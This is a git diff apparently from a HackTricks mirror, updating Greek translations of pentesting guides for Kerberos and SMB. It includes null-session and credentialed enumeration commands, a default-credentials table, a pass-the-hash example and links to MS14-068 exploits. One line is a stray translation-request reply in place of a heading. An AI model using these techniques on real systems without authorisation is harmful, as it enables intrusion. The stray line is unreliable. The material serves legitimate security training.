mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-kerberos-88/READ
This commit is contained in:
parent
3f9be3ec20
commit
be8c6f8c5b
@ -2,20 +2,57 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
**Kerberos** λειτουργεί με μια αρχή όπου αυθεντικοποιεί τους χρήστες χωρίς να διαχειρίζεται άμεσα την πρόσβασή τους σε πόρους. Αυτή είναι μια σημαντική διάκριση γιατί υπογραμμίζει τον ρόλο του πρωτοκόλλου σε πλαίσια ασφάλειας.
|
||||
**Kerberos** λειτουργεί με μια αρχή όπου αυθεντικοποιεί χρήστες χωρίς να διαχειρίζεται άμεσα την πρόσβασή τους σε πόρους. Πρόκειται για μια σημαντική διάκριση καθώς υπογραμμίζει τον ρόλο του πρωτοκόλλου σε πλαίσια ασφάλειας.
|
||||
|
||||
Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, ο οποίος είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας.
|
||||
Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** παίζει καθοριστικό ρόλο στην καθιέρωση της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών πρόσβασης. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του στην αξιολόγηση ή την επιβολή των δικαιωμάτων που έχει ένας χρήστης πάνω σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης των χρηστών, που αποτελεί κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας.
|
||||
|
||||
Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση σε πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό των ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα.
|
||||
Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση σε πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες να αξιολογούν τα δικαιώματα και τις άδειες του αυθεντικοποιημένου χρήστη, βάσει των πληροφοριών που παρέχει το **Kerberos** για τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει διαχωρισμό ευθυνών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα.
|
||||
|
||||
**Default Port:** 88/tcp/udp
|
||||
**Προεπιλεγμένη Θύρα:** 88/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
88/tcp open kerberos-sec
|
||||
```
|
||||
### **Για να μάθετε πώς να εκμεταλλευτείτε το Kerberos, θα πρέπει να διαβάσετε την ανάρτηση σχετικά με το** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
|
||||
### **Για να μάθετε πώς να εκμεταλλευτείτε το Kerberos θα πρέπει να διαβάσετε το άρθρο για** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
|
||||
|
||||
## Περιβάλλοντα αποκλειστικά με Kerberos: προετοιμασία πελάτη και αντιμετώπιση προβλημάτων
|
||||
|
||||
When NTLM is disabled on domain services (SMB/WinRM/etc.), you must authenticate with Kerberos. Common pitfalls and a working workflow:
|
||||
|
||||
- Ο συγχρονισμός ώρας είναι υποχρεωτικός. Εάν το ρολόι του host έχει απόκλιση μεγαλύτερη από λίγα λεπτά θα δείτε `KRB_AP_ERR_SKEW` και όλος ο Kerberos έλεγχος ταυτότητας θα αποτύχει. Συγχρονίστε με το DC:
|
||||
```bash
|
||||
# quick one-shot sync (requires sudo)
|
||||
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
|
||||
```
|
||||
Δημιουργήστε ένα έγκυρο krb5.conf για το realm/domain στόχο. `netexec` (CME fork) μπορεί να παράγει ένα για εσάς ενώ δοκιμάζετε SMB:
|
||||
```bash
|
||||
# Generate krb5.conf and install it
|
||||
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||
sudo cp krb5.conf /etc/krb5.conf
|
||||
```
|
||||
- Απόκτηση ενός TGT και επαλήθευση του ccache:
|
||||
```bash
|
||||
kinit <user>
|
||||
klist
|
||||
```
|
||||
- Χρησιμοποιήστε Kerberos με SMB εργαλεία (χωρίς αποστολή passwords, χρησιμοποιεί το ccache σας):
|
||||
```bash
|
||||
# netexec / CME
|
||||
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
|
||||
# impacket examples also support -k / --no-pass to use the ccache
|
||||
smbclient --kerberos //<dc.fqdn>/IPC$
|
||||
```
|
||||
- GSSAPI SSH ενιαία ταυτοποίηση (OpenSSH σε Windows OpenSSH server):
|
||||
```bash
|
||||
# Ensure krb5.conf is correct and you have a TGT (kinit)
|
||||
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
|
||||
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||
```
|
||||
Tips:
|
||||
- Βεβαιώσου ότι το `/etc/hosts` επιλύει το ακριβές FQDN που θα κάνεις SSH/SMB, και ότι βρίσκεται πριν από οποιεσδήποτε εγγραφές απλού domain αν παρακάμπτεις το DNS. Οι ασυμφωνίες SPN σπάνε το GSSAPI.
|
||||
- Αν το NTLM είναι απενεργοποιημένο στο SMB μπορεί να δείτε `STATUS_NOT_SUPPORTED` με προσπάθειες NTLM; πρόσθεσε `-k` για να εξαναγκάσεις Kerberos.
|
||||
|
||||
## Περισσότερα
|
||||
|
||||
@ -25,13 +62,21 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
Η αδυναμία MS14-068 επιτρέπει σε έναν επιτιθέμενο να παραποιήσει το διαπιστευτήριο σύνδεσης Kerberos ενός νόμιμου χρήστη για να ισχυριστεί ψευδώς ότι έχει ανυψωμένα δικαιώματα, όπως το να είναι Domain Admin. Αυτή η ψευδής αξίωση επικυρώνεται λανθασμένα από τον Domain Controller, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε πόρους δικτύου σε όλο το Active Directory δάσος.
|
||||
Το σφάλμα MS14-068 επιτρέπει σε έναν επιτιθέμενο να παραποιήσει το Kerberos login token ενός νόμιμου χρήστη ώστε να δηλώσει ψευδώς αυξημένα προνόμια, όπως το να είναι Domain Admin. Αυτός ο πλαστός ισχυρισμός πιστοποιείται εσφαλμένα από τον Domain Controller, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε πόρους δικτύου σε όλο το Active Directory forest.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
{{#endref}}
|
||||
|
||||
Άλλες εκμεταλλεύσεις: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
Άλλα exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/)
|
||||
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
|
||||
- [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
## HackTricks Αυτόματες Εντολές
|
||||
```
|
||||
|
@ -2,62 +2,62 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Θύρα 139**
|
||||
## **Port 139**
|
||||
|
||||
The _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, PCs, και Desktops εντός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό δικτύου και **να διευκολύνει τη μεταφορά δεδομένων μέσα στο δίκτυο**. Η ταυτοποίηση και ο εντοπισμός των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των NetBIOS ονομάτων τους, τα οποία μπορούν να έχουν μήκος έως 16 χαρακτήρες και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια NetBIOS συνεδρία μεταξύ δύο εφαρμογών ξεκινά όταν μια εφαρμογή (που λειτουργεί ως client) εκδίδει μια εντολή για να "call" μια άλλη εφαρμογή (που λειτουργεί ως server) χρησιμοποιώντας **TCP Port 139**.
|
||||
Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, PCs και Desktops εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό δικτύου και να **διευκολύνει τη μετάδοση δεδομένων στο δίκτυο**. Η αναγνώριση και ο εντοπισμός των λογισμικών εφαρμογών που λειτουργούν σε ένα δίκτυο NetBIOS πραγματοποιούνται μέσω των NetBIOS names τους, τα οποία μπορούν να έχουν μήκος έως 16 χαρακτήρες και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια NetBIOS συνεδρία μεταξύ δύο εφαρμογών ξεκινά όταν μια εφαρμογή (που λειτουργεί ως client) εκδίδει εντολή για να "καλέσει" μια άλλη εφαρμογή (που λειτουργεί ως server) χρησιμοποιώντας **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Θύρα 445
|
||||
|
||||
Σε τεχνικό επίπεδο, η Port 139 αναφέρεται ως ‘NBT over IP’, ενώ η Port 445 ταυτοποιείται ως ‘SMB over IP’. Το ακρωνύμιο **SMB** σημαίνει ‘**Server Message Blocks**’, το οποίο είναι επίσης σύγχρονα γνωστό ως **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο.
|
||||
Τεχνικά, η θύρα 139 αναφέρεται ως ‘NBT over IP’, ενώ η θύρα 445 ταυτίζεται ως ‘SMB over IP’. Το ακρώνυμο **SMB** σημαίνει ‘**Server Message Blocks**’, το οποίο σύγχρονα είναι επίσης γνωστό ως **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο.
|
||||
|
||||
Για παράδειγμα, στο πλαίσιο των Windows, επισημαίνεται ότι το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, καταργώντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντιστρόφως, σε άλλα συστήματα παρατηρείται η χρήση της θύρας 139, κάτι που υποδεικνύει ότι το SMB εκτελείται σε συνδυασμό με NetBIOS πάνω από TCP/IP.
|
||||
Για παράδειγμα, στο πλαίσιο των Windows, επισημαίνεται ότι το SMB μπορεί να λειτουργήσει απευθείας πάνω από TCP/IP, καταργώντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντίθετα, σε άλλα συστήματα παρατηρείται η χρήση της θύρας 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνδυασμό με NetBIOS πάνω από TCP/IP.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί σε μοντέλο **client-server**, έχει σχεδιαστεί για τη ρύθμιση της **πρόσβασης σε αρχεία**, φακέλους και άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως στη σειρά λειτουργικών συστημάτων **Windows**, και το SMB εξασφαλίζει συμβατότητα προς τα πίσω, επιτρέποντας σε συσκευές με νεότερες εκδόσεις του λειτουργικού της Microsoft να αλληλεπιδρούν απρόσκοπτα με αυτές που τρέχουν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια ελεύθερη υλοποίηση, επιτρέποντας την εφαρμογή του SMB σε συστήματα **Linux** και **Unix**, διευκολύνοντας έτσι την διαπλατφόρμα επικοινωνία μέσω SMB.
|
||||
Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί με μοντέλο **client-server**, έχει σχεδιαστεί για τη ρύθμιση της **πρόσβασης σε αρχεία**, καταλόγων και άλλων πόρων δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως στη σειρά λειτουργικών συστημάτων **Windows**, όπου το SMB διασφαλίζει συμβατότητα προς τα πίσω, επιτρέποντας σε συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν ομαλά με αυτές που τρέχουν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** παρέχει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα **Linux** και Unix, διευκολύνοντας έτσι τη διαλειτουργικότητα μεταξύ πλατφορμών μέσω SMB.
|
||||
|
||||
Τα Shares, που αντιπροσωπεύουν **αυθαίρετα τμήματα του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν SMB server, κάνοντας την ιεραρχία ορατή σε έναν client εν μέρει **ανεξάρτητη** από την πραγματική δομή του server. Οι **Access Control Lists (ACLs)**, που ορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** επί των δικαιωμάτων χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`**, και **`full access`**. Αυτά τα δικαιώματα μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τα shares, και είναι διακριτά από τα τοπικά δικαιώματα που έχουν οριστεί στον server.
|
||||
Τα shares, που αντιπροσωπεύουν **αυθαίρετα μέρη του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν SMB server, κάνοντας την ιεραρχία ορατή σε έναν client εν μέρει **ανεξάρτητη** από τη δομή του server. Οι **Access Control Lists (ACLs)**, οι οποίες ορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** των δικαιωμάτων χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`**, και **`full access`**. Αυτά τα δικαιώματα μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τα shares, και είναι διακριτά από τα τοπικά δικαιώματα που έχουν οριστεί στον server.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Η πρόσβαση στο share IPC$ μπορεί να αποκτηθεί μέσω ανώνυμης null session, επιτρέποντας αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω named pipes. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτόν τον σκοπό. Όταν χρησιμοποιηθεί σωστά, επιτρέπει την απόκτηση:
|
||||
Η πρόσβαση στο IPC$ share μπορεί να αποκτηθεί μέσω ενός ανώνυμου null session, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω named pipes. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτόν τον σκοπό. Όταν χρησιμοποιηθεί σωστά, επιτρέπει την απόκτηση:
|
||||
|
||||
- Πληροφοριών για το λειτουργικό σύστημα
|
||||
- Λεπτομερειών για το γονικό domain
|
||||
- Κατάλογου τοπικών χρηστών και ομάδων
|
||||
- Λίστας τοπικών χρηστών και ομάδων
|
||||
- Πληροφοριών για διαθέσιμα SMB shares
|
||||
- Της ισχύουσας πολιτικής ασφάλειας του συστήματος
|
||||
|
||||
Αυτή η λειτουργικότητα είναι κρίσιμη για διαχειριστές δικτύων και ειδικούς ασφάλειας για να αξιολογήσουν τη στάση ασφαλείας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του SMB περιβάλλοντος του στοχευόμενου συστήματος, η οποία είναι ουσιώδης για τον εντοπισμό πιθανών ευπαθειών και για να διασφαλιστεί ότι οι υπηρεσίες SMB είναι κατάλληλα ασφαλισμένες.
|
||||
Αυτή η λειτουργία είναι κρίσιμη για διαχειριστές δικτύου και επαγγελματίες ασφάλειας ώστε να αξιολογήσουν τη στάση ασφαλείας των SMB (Server Message Block) υπηρεσιών σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του SMB περιβάλλοντος του στοχευόμενου συστήματος, που είναι ουσιώδης για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι SMB υπηρεσίες είναι σωστά ασφαλισμένες.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
Η παραπάνω εντολή είναι ένα παράδειγμα του πώς μπορεί να χρησιμοποιηθεί το `enum4linux` για να εκτελεστεί πλήρης αναγνώριση εναντίον ενός στόχου που ορίζεται από το `target_ip`.
|
||||
Η παραπάνω εντολή είναι ένα παράδειγμα του πώς μπορεί να χρησιμοποιηθεί το `enum4linux` για να πραγματοποιήσει πλήρη enumeration εναντίον ενός στόχου που προσδιορίζεται από το `target_ip`.
|
||||
|
||||
## Τι είναι το NTLM
|
||||
|
||||
Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το καταχραστείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα για το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:**
|
||||
Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το εκμεταλλευτείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα για το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το αξιοποιήσετε:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
{{#endref}}
|
||||
|
||||
## **Αναγνώριση διακομιστή**
|
||||
## **Server Enumeration**
|
||||
|
||||
### **Σάρωση** ενός δικτύου αναζητώντας hosts:
|
||||
### **Scan** ένα δίκτυο για hosts:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### Έκδοση διακομιστή SMB
|
||||
|
||||
Για να αναζητήσετε πιθανικά exploits για την έκδοση SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Εάν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιείτε, μπορείτε:
|
||||
Για να αναζητήσετε πιθανά exploits για την έκδοση SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Αν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιείτε, μπορείτε:
|
||||
|
||||
- Χρησιμοποιήστε το βοηθητικό module **MSF** `**auxiliary/scanner/smb/smb_version**`
|
||||
- Χρησιμοποιήστε το **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
|
||||
- Ή αυτό το script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@ -82,23 +82,23 @@ searchsploit microsoft smb
|
||||
```
|
||||
### **Πιθανά** Διαπιστευτήρια
|
||||
|
||||
| **Username(s)** | **Common passwords** |
|
||||
| **Ονόματα χρήστη** | **Συνηθισμένοι κωδικοί πρόσβασης** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(blank)_ | _(blank)_ |
|
||||
| guest | _(blank)_ |
|
||||
| Administrator, admin | _(blank)_, password, administrator, admin |
|
||||
| _(κενό)_ | _(κενό)_ |
|
||||
| guest | _(κενό)_ |
|
||||
| Administrator, admin | _(κενό)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
|
||||
### Brute Force
|
||||
|
||||
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
|
||||
|
||||
### SMB Environment Information
|
||||
### Πληροφορίες Περιβάλλοντος SMB
|
||||
|
||||
### Λήψη Πληροφοριών
|
||||
### Απόκτηση Πληροφοριών
|
||||
```bash
|
||||
#Dump interesting information
|
||||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||||
@ -120,7 +120,7 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Καταγραφή χρηστών, ομάδων & συνδεδεμένων χρηστών
|
||||
### Απαρίθμηση Χρηστών, Ομάδων & Συνδεδεμένων Χρηστών
|
||||
|
||||
Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συλλεχθεί από enum4linux και enum4linux-ng
|
||||
```bash
|
||||
@ -150,28 +150,28 @@ use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **Ανίχνευση LSARPC και SAMR με rpcclient**
|
||||
### **Απαρίθμηση LSARPC και SAMR rpcclient**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### Σύνδεση GUI από Linux
|
||||
### GUI σύνδεση από linux
|
||||
|
||||
#### Στο τερματικό:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### Στο παράθυρο διαχείρισης αρχείων (nautilus, thunar, κ.λπ)
|
||||
#### Σε παράθυρο διαχείρισης αρχείων (nautilus, thunar, etc)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Ανίχνευση Κοινόχρηστων Φακέλων
|
||||
## Απαρίθμηση Κοινόχρηστων Φακέλων
|
||||
|
||||
### Καταγραφή κοινόχρηστων φακέλων
|
||||
### Λίστα κοινόχρηστων φακέλων
|
||||
|
||||
Συνιστάται πάντα να ελέγχετε εάν μπορείτε να αποκτήσετε πρόσβαση σε κάτι· αν δεν έχετε credentials δοκιμάστε να χρησιμοποιήσετε **null** **credentials/guest user**.
|
||||
Συνιστάται πάντα να ελέγχετε αν μπορείτε να αποκτήσετε πρόσβαση σε κάτι· αν δεν έχετε διαπιστευτήρια δοκιμάστε να χρησιμοποιήσετε **null** **credentials/guest user**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **Σύνδεση/Προβολή κοινόχρηστου φακέλου**
|
||||
### **Σύνδεση/Λίστα κοινόχρηστου φακέλου**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
@ -197,11 +197,13 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Χειροκίνητη καταγραφή των Windows shares και σύνδεση σε αυτά**
|
||||
### **Χειροκίνητη αναγνώριση των windows shares και σύνδεση σε αυτά**
|
||||
|
||||
Ενδέχεται να ισχύει ότι σας είναι απαγορευμένο να εμφανίσετε οποιαδήποτε shares του host μηχανήματος και όταν προσπαθείτε να τα απαριθμήσετε φαίνεται σαν να μην υπάρχουν shares για σύνδεση. Επομένως αξίζει να δοκιμάσετε σύντομα να συνδεθείτε χειροκίνητα σε ένα share. Για να απαριθμήσετε τα shares χειροκίνητα ίσως θελήσετε να προσέξετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. null session ή valid credentials). Αυτά μπορεί να υποδεικνύουν αν το share υπάρχει αλλά δεν έχετε πρόσβαση ή αν το share δεν υπάρχει καθόλου.
|
||||
Ενδέχεται να έχετε περιορισμούς που δεν επιτρέπουν την εμφάνιση των shares του host και όταν προσπαθείτε να τα απαριθμήσετε φαίνεται σαν να μην υπάρχουν shares για σύνδεση. Συνεπώς αξίζει να επιχειρήσετε σύντομα να συνδεθείτε χειροκίνητα σε κάποιο share.
|
||||
|
||||
Common share names for windows targets are
|
||||
Για να απαριθμήσετε τα shares χειροκίνητα ίσως θέλετε να αναζητήσετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια valid session (π.χ. null session ή valid credentials). Αυτά μπορεί να υποδεικνύουν αν το share υπάρχει αλλά δεν έχετε πρόσβαση σε αυτό ή αν το share δεν υπάρχει καθόλου.
|
||||
|
||||
Συνήθη ονόματα των shares για windows targets είναι
|
||||
|
||||
- C$
|
||||
- D$
|
||||
@ -212,14 +214,14 @@ Common share names for windows targets are
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(Κοινά ονόματα shares από _**Network Security Assessment 3rd edition**_)
|
||||
(Συνήθη ονόματα shares από _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
Μπορείτε να προσπαθήσετε να συνδεθείτε σε αυτά χρησιμοποιώντας την ακόλουθη εντολή
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
ή αυτό το script (χρησιμοποιώντας μία null session)
|
||||
ή αυτό το script (χρησιμοποιώντας null session)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
@ -236,10 +238,10 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
|
||||
fi
|
||||
done
|
||||
```
|
||||
παραδείγματα
|
||||
Παρακαλώ επικολλήστε εδώ το περιεχόμενο του αρχείου src/network-services-pentesting/pentesting-smb/README.md που θέλετε να μεταφράσω στα Ελληνικά.
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Απαρίθμηση shares από Windows / χωρίς εργαλεία τρίτων**
|
||||
|
||||
@ -253,21 +255,21 @@ get-smbshare -CimSession "<computer name or session object>"
|
||||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
Κονσόλα CMD
|
||||
CMD κονσόλα
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
